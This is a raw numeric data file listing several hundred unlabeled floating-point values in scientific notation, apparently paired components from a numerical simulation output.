2.52879e-06
-2.43595e-06
2.53083e-06
-3.49537e-07
2.54837e-06
2.12893e-07
2.61886e-06
1.82781e-06
2.62476e-06
5.39243e-07
2.63573e-06
-5.93111e-08
2.59148e-06
-1.21882e-06
2.57009e-06
-1.35312e-06
2.5251e-06
-1.44894e-06
2.51459e-06
-1.10989e-06
2.5082e-06
-6.96235e-07
2.49244e-06
-6.40875e-07
2.50883e-06
-9.57283e-08
2.48707e-06
-1.71829e-07
2.51517e-06
2.74181e-07
2.50853e-06
3.14487e-07
2.52683e-06
4.10254e-07
4.71828e-07
2.53751e-06
2.7056e-06
-4.34484e-07
2.7217e-06
4.71126e-07
2.65144e-06
-2.3657e-06
2.65011e-06
-3.48201e-07
2.66278e-06
2.00223e-07
2.73651e-06
1.75408e-06
2.74518e-06
5.30572e-07
2.75811e-06
-7.22445e-08
2.71428e-06
-1.175e-06
2.69263e-06
-1.33146e-06
2.6474e-06
-1.40371e-06
2.6344e-06
-1.09689e-06
2.6271e-06
-6.88933e-07
2.60809e-06
-6.21869e-07
2.62213e-06
-1.09763e-07
2.60026e-06
-1.49964e-07
2.62604e-06
2.48403e-07
2.62373e-06
3.16793e-07
2.64145e-06
3.92533e-07
4.56542e-07
2.65674e-06
2.83398e-06
-4.31192e-07
2.85283e-06
4.52277e-07
2.77989e-06
-2.29277e-06
2.77634e-06
-3.44643e-07
2.78534e-06
1.91223e-07
2.86233e-06
1.67708e-06
2.87283e-06
5.20074e-07
2.88685e-06
-8.62705e-08
2.84318e-06
-1.13132e-06
2.82081e-06
-1.30909e-06
2.7757e-06
-1.3586e-06
2.76038e-06
-1.08157e-06
2.75269e-06
-6.8124e-07
2.73178e-06
-6.00955e-07
2.74433e-06
-1.22314e-07
2.72355e-06
-1.29188e-07
2.74698e-06
2.24977e-07
2.74847e-06
3.15304e-07
2.76524e-06
3.75764e-07
4.38407e-07
2.78337e-06
2.96857e-06
-4.26869e-07
2.99003e-06
4.30816e-07
2.91445e-06
-2.21719e-06
2.90952e-06
-3.39715e-07
2.91574e-06
1.85004e-07
2.99592e-06
1.59691e-06
3.00765e-06
5.08339e-07
3.0221e-06
-1.00719e-07
2.97843e-06
-1.08765e-06
2.95495e-06
-1.28561e-06
2.91038e-06
-1.31404e-06
2.8928e-06
-1.06399e-06
2.88502e-06
-6.73457e-07
2.86301e-06
-5.78951e-07
2.87441e-06
-1.33715e-07
2.85542e-06
-1.10199e-07
2.87641e-06
2.03994e-07
2.88123e-06
3.1048e-07
2.89705e-06
3.59942e-07
4.18697e-07
2.91676e-06
3.10961e-06
-4.21476e-07
3.13364e-06
4.06787e-07
3.05545e-06
-2.139e-06
3.04975e-06
-3.34017e-07
3.05381e-06
1.80953e-07
3.13692e-06
1.5138e-06
3.14961e-06
4.95646e-07
3.16403e-06
-1.15138e-07
3.12032e-06
-1.04395e-06
3.09534e-06
-1.26063e-06
3.05175e-06
-1.27045e-06
3.03193e-06
-1.04417e-06
3.02425e-06
-6.65782e-07
3.00177e-06
-5.56469e-07
3.01206e-06
-1.44004e-07
2.99524e-06
-9.33782e-08
3.01368e-06
1.85556e-07
3.02136e-06
3.02801e-07
3.0364e-06
3.44905e-07
3.98323e-07
3.05677e-06
3.25736e-06
-4.14925e-07
3.28393e-06
3.80221e-07
3.20324e-06
-2.05832e-06
3.19723e-06
-3.28005e-07
3.1995e-06
1.78681e-07
3.28509e-06
1.42821e-06
3.29868e-06
4.8206e-07
3.31282e-06
-1.29276e-07
3.26916e-06
-1.00028e-06
3.24233e-06
-1.2338e-06
3.20005e-06
-1.22817e-06
3.17803e-06
-1.02216e-06
3.17057e-06
-6.58313e-07
3.14815e-06
-5.34056e-07
3.15726e-06
-1.53111e-07
3.14283e-06
-7.8945e-08
3.15873e-06
1.69652e-07
3.16873e-06
2.92806e-07
3.18317e-06
3.30464e-07
3.77889e-07
3.2036e-06
3.41212e-06
-4.07116e-07
3.44112e-06
3.51228e-07
3.35816e-06
-1.97536e-06
3.35224e-06
-3.22081e-07
3.35295e-06
1.77967e-07
3.44034e-06
1.34082e-06
3.45488e-06
4.67515e-07
3.46864e-06
-1.43035e-07
3.42525e-06
-9.56896e-07
3.39633e-06
-1.20488e-06
3.35554e-06
-1.18738e-06
3.33139e-06
-9.97999e-07
3.32408e-06
-6.5101e-07
3.3022e-06
-5.12177e-07
3.31004e-06
-1.60946e-07
3.29813e-06
-6.70341e-08
3.31169e-06
1.56086e-07
3.32343e-06
2.81071e-07
3.33748e-06
3.16409e-07
3.57732e-07
3.35764e-06
3.57427e-06
-3.97973e-07
3.60542e-06
3.20075e-07
3.52054e-06
-1.89048e-06
3.5151e-06
-3.1664e-07
3.51437e-06
1.7869e-07
3.60268e-06
1.25252e-06
3.6183e-06
4.5189e-07
3.63167e-06
-1.56401e-07
3.58892e-06
-9.1415e-07
3.55777e-06
-1.17372e-06
3.51845e-06
-1.14807e-06
3.49233e-06
-9.71877e-07
3.48495e-06
-6.43629e-07
3.46396e-06
-4.91187e-07
3.47044e-06
-1.67419e-07
3.46111e-06
-5.77094e-08
3.47273e-06
1.44465e-07
3.48568e-06
2.68124e-07
3.49954e-06
3.02549e-07
3.37972e-07
3.5193e-06
3.74422e-06
-3.87486e-07
3.77708e-06
2.87213e-07
3.69067e-06
-1.80407e-06
3.68611e-06
-3.12085e-07
3.68406e-06
1.80739e-07
3.77232e-06
1.16426e-06
3.78914e-06
4.35067e-07
3.80211e-06
-1.69367e-07
3.7605e-06
-8.7254e-07
3.72712e-06
-1.14034e-06
3.68908e-06
-1.11003e-06
3.66122e-06
-9.4402e-07
3.65342e-06
-6.3583e-07
3.63355e-06
-4.71315e-07
3.63858e-06
-1.72447e-07
3.63181e-06
-5.09401e-08
3.64201e-06
1.34258e-07
3.65575e-06
2.5439e-07
3.66958e-06
2.88716e-07
3.18579e-07
3.68897e-06
3.92243e-06
-3.75726e-07
3.9564e-06
2.5324e-07
3.86888e-06
-1.71654e-06
3.86559e-06
-3.08801e-07
3.8624e-06
1.83931e-07
3.94966e-06
1.07701e-06
3.96775e-06
4.16977e-07
3.98024e-06
-1.81859e-07
3.94029e-06
-8.32587e-07
3.90484e-06
-1.1049e-06
3.86777e-06
-1.07295e-06
3.83844e-06
-9.14692e-07
3.82985e-06
-6.27237e-07
3.8112e-06
-4.52667e-07
3.81474e-06
-1.75988e-07
3.81036e-06
-4.65622e-08
3.81974e-06
1.24885e-07
3.83396e-06
2.40163e-07
3.84792e-06
2.74758e-07
2.99476e-07
3.86702e-06
4.10936e-06
-3.62838e-07
4.14379e-06
2.18808e-07
4.05552e-06
-1.62827e-06
4.05384e-06
-3.07116e-07
4.04981e-06
1.87959e-07
4.13523e-06
9.91587e-07
4.1546e-06
3.9761e-07
4.16643e-06
-1.93691e-07
4.1286e-06
-7.94762e-07
4.09138e-06
-1.06768e-06
4.05495e-06
-1.03651e-06
4.02444e-06
-8.84191e-07
4.0147e-06
-6.17492e-07
3.99729e-06
-4.35254e-07
3.99936e-06
-1.78065e-07
3.99709e-06
-4.42932e-08
4.00617e-06
1.1581e-07
4.02069e-06
2.25646e-07
4.03489e-06
2.60559e-07
2.80586e-07
4.05378e-06
4.30547e-06
-3.4901e-07
4.33978e-06
1.84504e-07
4.25104e-06
-1.53954e-06
4.25116e-06
-3.07233e-07
4.24674e-06
1.92379e-07
4.32962e-06
9.08709e-07
4.35025e-06
3.76977e-07
4.36112e-06
-2.04563e-07
4.32576e-06
-7.59397e-07
4.28713e-06
-1.02906e-06
4.25104e-06
-1.00042e-06
4.21966e-06
-8.52815e-07
4.2085e-06
-6.06331e-07
4.19227e-06
-4.19016e-07
4.19297e-06
-1.7877e-07
4.19241e-06
-4.37377e-08
4.20162e-06
1.06608e-07
4.21634e-06
2.10924e-07
4.2308e-06
2.46092e-07
2.61881e-07
4.24951e-06
4.51119e-06
-3.34422e-07
4.54494e-06
1.50754e-07
4.45595e-06
-1.45055e-06
4.45788e-06
-3.09164e-07
4.45361e-06
1.96651e-07
4.5334e-06
8.28917e-07
4.55529e-06
3.55091e-07
4.56484e-06
-2.14118e-07
4.53207e-06
-7.26629e-07
4.49248e-06
-9.89461e-07
4.4565e-06
-9.64445e-07
4.42454e-06
-8.20858e-07
4.41184e-06
-5.93631e-07
4.39667e-06
-4.03838e-07
4.39614e-06
-1.78246e-07
4.39686e-06
-4.44512e-08
4.40642e-06
9.70453e-08
4.42137e-06
1.95976e-07
4.43601e-06
2.3145e-07
2.43452e-07
4.45444e-06
4.72691e-06
-3.19217e-07
4.75988e-06
1.17784e-07
4.67081e-06
-1.36148e-06
4.67435e-06
-3.12704e-07
4.67081e-06
2.00191e-07
4.74711e-06
7.52623e-07
4.77025e-06
3.31944e-07
4.77819e-06
-2.2205e-07
4.74793e-06
-6.96373e-07
4.7078e-06
-9.49329e-07
4.67179e-06
-9.28434e-07
4.63953e-06
-7.88598e-07
4.62531e-06
-5.79413e-07
4.61106e-06
-3.89594e-07
4.60945e-06
-1.76634e-07
4.611e-06
-4.5999e-08
4.621e-06
8.70451e-08
4.63621e-06
1.80764e-07
4.65094e-06
2.16721e-07
2.25545e-07
4.66885e-06
4.95306e-06
-3.03476e-07
4.9852e-06
8.56398e-08
4.89626e-06
-1.27255e-06
4.90098e-06
-3.17423e-07
4.89872e-06
2.02453e-07
4.97122e-06
6.80128e-07
4.99564e-06
3.07524e-07
5.00181e-06
-2.28222e-07
4.97376e-06
-6.68325e-07
4.93348e-06
-9.09051e-07
4.89738e-06
-8.92333e-07
4.86505e-06
-7.56269e-07
4.84945e-06
-5.63807e-07
4.83603e-06
-3.76184e-07
4.83349e-06
-1.74094e-07
4.83546e-06
-4.79673e-08
4.84587e-06
7.66341e-08
4.86131e-06
1.65328e-07
4.87609e-06
2.01945e-07
2.08401e-07
4.89323e-06
5.19007e-06
-2.87232e-07
5.22145e-06
5.42637e-08
5.13293e-06
-1.18403e-06
5.13823e-06
-3.22722e-07
5.13771e-06
2.02969e-07
5.20615e-06
6.11688e-07
5.23187e-06
2.81802e-07
5.2363e-06
-2.32649e-07
5.21006e-06
-6.42083e-07
5.16997e-06
-8.68965e-07
5.1338e-06
-8.56162e-07
5.10158e-06
-7.24042e-07
5.08477e-06
-5.47e-07
5.07216e-06
-3.63571e-07
5.06889e-06
-1.7083e-07
5.07093e-06
-5.00088e-08
5.08157e-06
6.59956e-08
5.09712e-06
1.49784e-07
5.112e-06
1.87061e-07
1.92222e-07
5.12818e-06
5.43845e-06
-2.70492e-07
5.46914e-06
2.35763e-08
5.38145e-06
-1.09634e-06
5.38662e-06
-3.27891e-07
5.38821e-06
2.01379e-07
5.4524e-06
5.47494e-07
5.47937e-06
2.54834e-07
5.48222e-06
-2.35495e-07
5.45737e-06
-6.17234e-07
5.41776e-06
-8.29357e-07
5.3816e-06
-8.19999e-07
5.34961e-06
-6.92052e-07
5.33177e-06
-5.2916e-07
5.31998e-06
-3.51786e-07
5.31622e-06
-1.67063e-07
5.31809e-06
-5.18799e-08
5.32868e-06
5.54021e-08
5.34419e-06
1.34274e-07
5.3592e-06
1.72057e-07
1.77028e-07
5.37439e-06
5.69873e-06
-2.53265e-07
5.72875e-06
-6.44517e-09
5.64246e-06
-1.01004e-06
5.64674e-06
-3.3217e-07
5.65069e-06
1.97426e-07
5.71052e-06
4.87666e-07
5.73857e-06
2.26785e-07
5.74009e-06
-2.37019e-07
5.71627e-06
-5.93414e-07
5.67738e-06
-7.90464e-07
5.64134e-06
-7.83963e-07
5.60971e-06
-6.6042e-07
5.59098e-06
-5.10431e-07
5.58e-06
-3.40803e-07
5.57606e-06
-1.63131e-07
5.57757e-06
-5.33843e-08
5.58785e-06
4.51188e-08
5.6032e-06
1.18921e-07
5.61833e-06
1.56934e-07
1.62749e-07
5.63261e-06
5.97151e-06
-2.35579e-07
6.0008e-06
-3.57355e-08
5.91656e-06
-9.25805e-07
5.91922e-06
-3.3483e-07
5.92568e-06
1.90962e-07
5.98112e-06
4.3223e-07
6.00996e-06
1.9794e-07
6.01045e-06
-2.37506e-07
5.98738e-06
-5.70346e-07
5.9494e-06
-7.52476e-07
5.91362e-06
-7.48184e-07
5.88247e-06
-6.29272e-07
5.86296e-06
-4.90923e-07
5.85272e-06
-3.30562e-07
5.84898e-06
-1.59392e-07
5.85e-06
-5.44048e-08
5.8598e-06
3.532e-08
5.87481e-06
1.0391e-07
5.88996e-06
1.41789e-07
1.49105e-07
5.9036e-06
6.25742e-06
-2.17507e-07
6.2858e-06
-6.41213e-08
6.20437e-06
-8.44376e-07
6.20473e-06
-3.35186e-07
6.21375e-06
1.81937e-07
6.2649e-06
3.81082e-07
6.29415e-06
1.68693e-07
6.29388e-06
-2.37237e-07
6.27134e-06
-5.47811e-07
6.23441e-06
-7.15546e-07
6.19902e-06
-7.12795e-07
6.16852e-06
-5.98765e-07
6.14833e-06
-4.70732e-07
6.13869e-06
-3.20921e-07
6.1355e-06
-1.56209e-07
6.13607e-06
-5.4967e-08
6.14513e-06
2.62572e-08
6.15975e-06
8.92894e-08
6.17466e-06
1.2688e-07
1.35744e-07
6.18802e-06
6.55712e-06
-1.99162e-07
6.58434e-06
-9.13366e-08
6.50653e-06
-7.66563e-07
6.50398e-06
-3.32642e-07
6.51545e-06
1.70467e-07
6.56259e-06
3.33949e-07
6.59175e-06
1.39525e-07
6.591e-06
-2.3648e-07
6.56884e-06
-5.25649e-07
6.53307e-06
-6.79779e-07
6.49819e-06
-6.7792e-07
6.46848e-06
-5.69054e-07
6.44777e-06
-4.50022e-07
6.43845e-06
-3.11598e-07
6.43611e-06
-1.5387e-07
6.4364e-06
-5.52561e-08
6.44456e-06
1.80961e-08
6.45863e-06
7.52144e-08
6.47328e-06
1.12232e-07
1.22675e-07
6.48635e-06
6.87133e-06
-1.807e-07
6.89704e-06
-1.17044e-07
6.82366e-06
-6.93185e-07
6.81776e-06
-3.26744e-07
6.83139e-06
1.56835e-07
6.87485e-06
2.9049e-07
6.90346e-06
1.10913e-07
6.90242e-06
-2.35439e-07
6.88057e-06
-5.03793e-07
6.84602e-06
-6.4523e-07
6.81178e-06
-6.43686e-07
6.78298e-06
-5.4025e-07
6.76202e-06
-4.29058e-07
6.75269e-06
-3.02271e-07
6.75128e-06
-1.52461e-07
6.75161e-06
-5.55907e-08
6.75876e-06
1.09457e-08
6.77226e-06
6.17226e-08
6.78642e-06
9.80684e-08
1.09871e-07
6.79922e-06
7.20074e-06
-1.62307e-07
7.22456e-06
-1.40861e-07
7.15648e-06
-6.25109e-07
7.14686e-06
-3.17117e-07
7.16225e-06
1.41444e-07
7.20238e-06
2.50356e-07
7.22999e-06
8.33003e-08
7.22884e-06
-2.34289e-07
7.20728e-06
-4.82224e-07
7.17394e-06
-6.11897e-07
7.14051e-06
-6.10252e-07
7.11266e-06
-5.12405e-07
7.0917e-06
-4.0809e-07
7.08218e-06
-2.92757e-07
7.0816e-06
-1.51881e-07
7.08225e-06
-5.62361e-08
7.08834e-06
4.85125e-09
7.10127e-06
4.87975e-08
7.11501e-06
8.43266e-08
9.7449e-08
7.12743e-06
7.54612e-06
-1.44198e-07
7.5676e-06
-1.62348e-07
7.50548e-06
-5.6298e-07
7.49205e-06
-3.03695e-07
7.50874e-06
1.24755e-07
7.54589e-06
2.13205e-07
7.57208e-06
5.71158e-08
7.57095e-06
-2.33162e-07
7.54973e-06
-4.61006e-07
7.5176e-06
-5.7976e-07
7.48505e-06
-5.7771e-07
7.45829e-06
-4.85639e-07
7.43754e-06
-3.87339e-07
7.42781e-06
-2.83026e-07
7.4278e-06
-1.51875e-07
7.42893e-06
-5.73684e-08
7.43375e-06
2.89139e-11
7.44554e-06
3.70108e-08
7.45933e-06
7.0536e-08
8.53717e-08
7.47141e-06
7.90821e-06
-1.26593e-07
7.92693e-06
-1.81069e-07
7.87079e-06
-5.06841e-07
7.85412e-06
-2.87029e-07
7.87158e-06
1.07294e-07
7.90614e-06
1.78652e-07
7.93058e-06
3.2671e-08
7.92948e-06
-2.32064e-07
7.9087e-06
-4.40221e-07
7.87775e-06
-5.48817e-07
7.84618e-06
-5.46141e-07
7.82052e-06
-4.59979e-07
7.80017e-06
-3.6699e-07
7.79038e-06
-2.73226e-07
7.79091e-06
-1.52414e-07
7.7928e-06
-5.92511e-08
7.79606e-06
-3.23165e-09
7.80469e-06
2.83806e-08
7.81663e-06
5.85935e-08
7.15367e-08
7.83047e-06
8.28781e-06
-1.09724e-07
8.30328e-06
-1.96537e-07
8.25301e-06
-4.56571e-07
8.23394e-06
-2.6796e-07
8.25161e-06
8.962e-08
8.28382e-06
1.46445e-07
8.30632e-06
1.01734e-08
8.30522e-06
-2.30963e-07
8.28498e-06
-4.19983e-07
8.25522e-06
-5.19059e-07
8.22471e-06
-5.15629e-07
8.20018e-06
-4.35452e-07
8.18051e-06
-3.47312e-07
8.17042e-06
-2.63136e-07
8.17156e-06
-1.53558e-07
8.17564e-06
-6.33315e-08
8.18014e-06
-7.72703e-09
8.18934e-06
1.91719e-08
8.2029e-06
4.50349e-08
5.8673e-08
8.21577e-06
8.68575e-06
-9.38136e-08
8.69752e-06
-2.0831e-07
8.65294e-06
-4.11989e-07
8.63231e-06
-2.47328e-07
8.64967e-06
7.22605e-08
8.6798e-06
1.16315e-07
8.70023e-06
-1.02512e-08
8.69895e-06
-2.29689e-07
8.67943e-06
-4.00459e-07
8.65085e-06
-4.90482e-07
8.62145e-06
-4.86226e-07
8.598e-06
-4.12006e-07
8.57912e-06
-3.28433e-07
8.56895e-06
-2.52963e-07
8.5709e-06
-1.55514e-07
8.57807e-06
-7.04937e-08
8.58655e-06
-1.62059e-08
8.59688e-06
8.84153e-09
8.60848e-06
3.34286e-08
4.84691e-08
8.61869e-06
9.10287e-06
-7.90665e-08
9.11051e-06
-2.15946e-07
9.07136e-06
-3.7284e-07
9.0503e-06
-2.26265e-07
9.06654e-06
5.60152e-08
9.09485e-06
8.80104e-08
9.11317e-06
-2.8577e-08
9.11164e-06
-2.28152e-07
9.09281e-06
-3.81629e-07
9.06554e-06
-4.63217e-07
9.03726e-06
-4.57943e-07
9.01509e-06
-3.89841e-07
8.99705e-06
-3.10386e-07
8.98681e-06
-2.42728e-07
8.98838e-06
-1.57084e-07
8.9959e-06
-7.80161e-08
9.0045e-06
-2.48076e-08
9.01428e-06
-9.33472e-10
9.02443e-06
2.32811e-08
4.02209e-08
9.03267e-06
9.54005e-06
-6.56575e-08
9.54323e-06
-2.19123e-07
9.50919e-06
-3.38802e-07
9.48871e-06
-2.05788e-07
9.50321e-06
4.15213e-08
9.52986e-06
6.13578e-08
9.54616e-06
-4.48734e-08
9.54422e-06
-2.26216e-07
9.52604e-06
-3.63449e-07
9.5001e-06
-4.37276e-07
9.4731e-06
-4.30943e-07
9.45205e-06
-3.68788e-07
9.43514e-06
-2.9348e-07
9.42535e-06
-2.32932e-07
9.42511e-06
-1.5685e-07
9.42867e-06
-8.15704e-08
9.42956e-06
-2.57024e-08
9.43145e-06
-2.8263e-09
9.43892e-06
1.58151e-08
2.80939e-08
9.45105e-06
9.99819e-06
-5.37154e-08
9.99662e-06
-2.17548e-07
9.96738e-06
-3.09568e-07
9.9487e-06
-1.8711e-07
9.96079e-06
2.94337e-08
9.9856e-06
3.65524e-08
1.00002e-05
-5.94437e-08
9.99763e-06
-2.23676e-07
9.98008e-06
-3.45905e-07
9.95548e-06
-4.12675e-07
9.92991e-06
-4.05376e-07
9.90994e-06
-3.4881e-07
9.8938e-06
-2.77344e-07
9.88309e-06
-2.22222e-07
9.88143e-06
-1.55189e-07
9.88764e-06
-8.77795e-08
9.89599e-06
-3.40538e-08
9.9029e-06
-9.73176e-09
9.91049e-06
8.2177e-09
2.22639e-08
9.91632e-06
1.04782e-05
-4.33091e-08
1.0472e-05
-2.11291e-07
1.04469e-05
-2.84538e-07
1.04309e-05
-1.71087e-07
1.04404e-05
1.99293e-08
1.04632e-05
1.38238e-08
1.04761e-05
-7.23822e-08
1.0473e-05
-2.20599e-07
1.04559e-05
-3.28759e-07
1.04326e-05
-3.89396e-07
1.04083e-05
-3.81047e-07
1.03891e-05
-3.29677e-07
1.03737e-05
-2.61928e-07
1.03632e-05
-2.11672e-07
1.03612e-05
-1.53238e-07
1.03661e-05
-9.26583e-08
1.03708e-05
-3.88089e-08
1.03734e-05
-1.23175e-08
1.03793e-05
2.33632e-09
1.40173e-08
1.03876e-05
1.09812e-05
-3.44441e-08
1.0971e-05
-2.01164e-07
1.0949e-05
-2.62555e-07
1.0936e-05
-1.58089e-07
1.09435e-05
1.25135e-08
1.09635e-05
-6.18641e-09
1.0975e-05
-8.38861e-08
1.09714e-05
-2.17044e-07
1.09544e-05
-3.11765e-07
1.09322e-05
-3.67161e-07
1.09089e-05
-3.57749e-07
1.08904e-05
-3.11185e-07
1.08758e-05
-2.47297e-07
1.08652e-05
-2.01114e-07
1.08618e-05
-1.4984e-07
1.08653e-05
-9.60982e-08
1.08704e-05
-4.39792e-08
1.08744e-05
-1.62722e-08
1.08793e-05
-2.61309e-09
6.8984e-09
1.08864e-05
1.1508e-05
-2.70485e-08
1.14952e-05
-1.88349e-07
1.14749e-05
-2.423e-07
1.14647e-05
-1.47928e-07
1.1471e-05
6.29162e-09
1.14878e-05
-2.30546e-08
1.14979e-05
-9.39431e-08
1.14939e-05
-2.13089e-07
1.14771e-05
-2.94903e-07
1.14554e-05
-3.45452e-07
1.14327e-05
-3.35124e-07
1.14146e-05
-2.93029e-07
1.1401e-05
-2.33725e-07
1.13908e-05
-1.90934e-07
1.13862e-05
-1.45257e-07
1.13884e-05
-9.82343e-08
1.13941e-05
-4.96822e-08
1.13988e-05
-2.10371e-08
1.14034e-05
-7.18044e-09
-1.25008e-10
1.14104e-05
1.20598e-05
-2.09998e-08
1.20453e-05
-1.73855e-07
1.20257e-05
-2.22734e-07
1.20181e-05
-1.40328e-07
1.2024e-05
4.47478e-10
1.20375e-05
-3.66436e-08
1.20458e-05
-1.02204e-07
1.20417e-05
-2.0898e-07
1.20251e-05
-2.78291e-07
1.20039e-05
-3.24236e-07
1.1982e-05
-3.13264e-07
1.19645e-05
-2.75506e-07
1.19518e-05
-2.21023e-07
1.19421e-05
-1.812e-07
1.19369e-05
-1.40107e-07
1.19382e-05
-9.95818e-08
1.19437e-05
-5.51662e-08
1.19493e-05
-2.6633e-08
1.19533e-05
-1.11931e-08
-5.96046e-09
1.19592e-05
1.26377e-05
-1.61013e-08
1.26224e-05
-1.58518e-07
1.26028e-05
-2.032e-07
1.25972e-05
-1.34752e-07
1.26033e-05
-5.63531e-09
1.2614e-05
-4.72699e-08
1.262e-05
-1.0827e-07
1.26159e-05
-2.0486e-07
1.26e-05
-2.62383e-07
1.25794e-05
-3.03596e-07
1.25582e-05
-2.92134e-07
1.25413e-05
-2.58617e-07
1.25293e-05
-2.08981e-07
1.25206e-05
-1.72533e-07
1.25155e-05
-1.34987e-07
1.25159e-05
-9.99365e-08
1.25204e-05
-5.96748e-08
1.25262e-05
-3.24193e-08
1.25305e-05
-1.54991e-08
-1.0551e-08
1.25351e-05
1.3243e-05
-1.21273e-08
1.32275e-05
-1.43029e-07
1.32075e-05
-1.83196e-07
1.32035e-05
-1.30743e-07
1.32101e-05
-1.22867e-08
1.32184e-05
-5.55158e-08
1.3222e-05
-1.11887e-07
1.32177e-05
-2.00582e-07
1.32029e-05
-2.47603e-07
1.31831e-05
-2.83823e-07
1.31628e-05
-2.71831e-07
1.31465e-05
-2.42274e-07
1.31351e-05
-1.97608e-07
1.31273e-05
-1.64742e-07
1.31221e-05
-1.29795e-07
1.31216e-05
-9.93738e-08
1.31254e-05
-6.35149e-08
1.3131e-05
-3.79855e-08
1.31356e-05
-2.01163e-08
-1.4217e-08
1.31393e-05
1.38769e-05
-8.82513e-09
1.38618e-05
-1.2797e-07
1.38414e-05
-1.6283e-07
1.38381e-05
-1.27435e-07
1.38454e-05
-1.95273e-08
1.38519e-05
-6.20618e-08
1.38531e-05
-1.13093e-07
1.38484e-05
-1.95826e-07
1.38349e-05
-2.34092e-07
1.38166e-05
-2.65543e-07
1.37971e-05
-2.52372e-07
1.37813e-05
-2.26453e-07
1.37701e-05
-1.86412e-07
1.37628e-05
-1.57464e-07
1.37581e-05
-1.25056e-07
1.37571e-05
-9.84361e-08
1.37601e-05
-6.64286e-08
1.37649e-05
-4.28142e-08
1.37695e-05
-2.47521e-08
-1.76296e-08
1.37729e-05
1.45408e-05
-5.96655e-09
1.45266e-05
-1.13799e-07
1.45062e-05
-1.42436e-07
1.45027e-05
-1.23923e-07
1.45104e-05
-2.71658e-08
1.45159e-05
-6.75656e-08
1.45149e-05
-1.12141e-07
1.45093e-05
-1.90163e-07
1.4497e-05
-2.21794e-07
1.44805e-05
-2.49045e-07
1.44622e-05
-2.34143e-07
1.44469e-05
-2.11121e-07
1.44357e-05
-1.75238e-07
1.44289e-05
-1.50595e-07
1.44246e-05
-1.20825e-07
1.44233e-05
-9.70868e-08
1.44252e-05
-6.83636e-08
1.44294e-05
-4.69969e-08
1.4434e-05
-2.93131e-08
-2.10526e-08
1.44374e-05
1.52363e-05
-3.35787e-09
1.52233e-05
-1.00781e-07
1.52032e-05
-1.2243e-07
1.51988e-05
-1.19437e-07
1.52065e-05
-3.4897e-08
1.52114e-05
-7.25215e-08
1.52087e-05
-1.09366e-07
1.5202e-05
-1.83475e-07
1.51905e-05
-2.10287e-07
1.51758e-05
-2.3434e-07
1.51594e-05
-2.17808e-07
1.51447e-05
-1.96376e-07
1.51336e-05
-1.64133e-07
1.51267e-05
-1.43712e-07
1.51227e-05
-1.16823e-07
1.51213e-05
-9.56721e-08
1.51226e-05
-6.97171e-08
1.51261e-05
-5.04669e-08
1.51303e-05
-3.35018e-08
-2.43459e-08
1.51336e-05
1.59648e-05
-8.64853e-10
1.59531e-05
-8.9002e-08
1.59339e-05
-1.03235e-07
1.59279e-05
-1.13513e-07
1.59352e-05
-4.21981e-08
1.59398e-05
-7.70842e-08
1.59357e-05
-1.05255e-07
1.59281e-05
-1.75893e-07
1.59168e-05
-1.99002e-07
1.59038e-05
-2.21269e-07
1.58896e-05
-2.03657e-07
1.58761e-05
-1.82893e-07
1.5865e-05
-1.52996e-07
1.5858e-05
-1.36715e-07
1.58541e-05
-1.12931e-07
1.58527e-05
-9.4323e-08
1.58536e-05
-7.05867e-08
1.58563e-05
-5.31029e-08
1.58599e-05
-3.71532e-08
-2.75921e-08
1.58632e-05
1.67282e-05
1.57126e-09
1.67176e-05
-7.83911e-08
1.66995e-05
-8.5188e-08
1.66921e-05
-1.06081e-07
1.66981e-05
-4.81836e-08
1.67025e-05
-8.14806e-08
1.66977e-05
-1.00538e-07
1.66892e-05
-1.6734e-07
1.66779e-05
-1.87731e-07
1.66658e-05
-2.09186e-07
1.66538e-05
-1.91622e-07
1.66424e-05
-1.71507e-07
1.66316e-05
-1.42219e-07
1.66244e-05
-1.29509e-07
1.66204e-05
-1.08872e-07
1.66189e-05
-9.28845e-08
1.66195e-05
-7.1108e-08
1.66215e-05
-5.51253e-08
1.66245e-05
-4.02195e-08
-3.0735e-08
1.66277e-05
1.7528e-05
3.93849e-09
1.75183e-05
-6.86849e-08
1.75017e-05
-6.85894e-08
1.74929e-05
-9.734e-08
1.74967e-05
-5.19111e-08
1.75012e-05
-8.5998e-08
1.74967e-05
-9.6071e-08
1.74873e-05
-1.57961e-07
1.74759e-05
-1.76324e-07
1.74641e-05
-1.9732e-07
1.74537e-05
-1.81215e-07
1.74446e-05
-1.6244e-07
1.74351e-05
-1.32753e-07
1.74276e-05
-1.21959e-07
1.74232e-05
-1.04487e-07
1.74215e-05
-9.12207e-08
1.74219e-05
-7.1442e-08
1.74234e-05
-5.6663e-08
1.74259e-05
-4.27262e-08
-3.35096e-08
1.74287e-05
1.83661e-05
6.17253e-09
1.83569e-05
-5.95031e-08
1.8342e-05
-5.36869e-08
1.83324e-05
-8.7727e-08
1.83334e-05
-5.28796e-08
1.83378e-05
-9.0425e-08
1.83342e-05
-9.24757e-08
1.83247e-05
-1.48411e-07
1.83131e-05
-1.64752e-07
1.83013e-05
-1.85507e-07
1.82914e-05
-1.71316e-07
1.82842e-05
-1.55248e-07
1.82766e-05
-1.25176e-07
1.82693e-05
-1.14627e-07
1.82645e-05
-9.96919e-08
1.82624e-05
-8.91484e-08
1.82625e-05
-7.1532e-08
1.82636e-05
-5.78101e-08
1.82656e-05
-4.47189e-08
-3.58611e-08
1.8268e-05
1.92444e-05
8.20592e-09
1.92354e-05
-5.05715e-08
1.92223e-05
-4.05494e-08
1.92124e-05
-7.78712e-08
1.92109e-05
-5.13625e-08
1.92144e-05
-9.38744e-08
1.92119e-05
-9.00163e-08
1.92027e-05
-1.39229e-07
1.91911e-05
-1.53125e-07
1.91796e-05
-1.7399e-07
1.91695e-05
-1.61214e-07
1.91633e-05
-1.49039e-07
1.91575e-05
-1.19456e-07
1.91511e-05
-1.08223e-07
1.91461e-05
-9.45964e-08
1.91434e-05
-8.65187e-08
1.91431e-05
-7.12326e-08
1.9144e-05
-5.86738e-08
1.91455e-05
-4.62315e-08
-3.78838e-08
1.91475e-05
2.01646e-05
9.98073e-09
2.01558e-05
-4.17789e-08
2.01443e-05
-2.90336e-08
2.0135e-05
-6.85004e-08
2.01315e-05
-4.79283e-08
2.01331e-05
-9.54749e-08
2.01316e-05
-8.84543e-08
2.01232e-05
-1.3091e-07
2.01118e-05
-1.41638e-07
2.01006e-05
-1.62811e-07
2.00904e-05
-1.51092e-07
2.00842e-05
-1.4278e-07
2.00798e-05
-1.15066e-07
2.00747e-05
-1.03093e-07
2.00697e-05
-8.96505e-08
2.00666e-05
-8.33861e-08
2.00657e-05
-7.03674e-08
2.00663e-05
-5.92741e-08
2.00674e-05
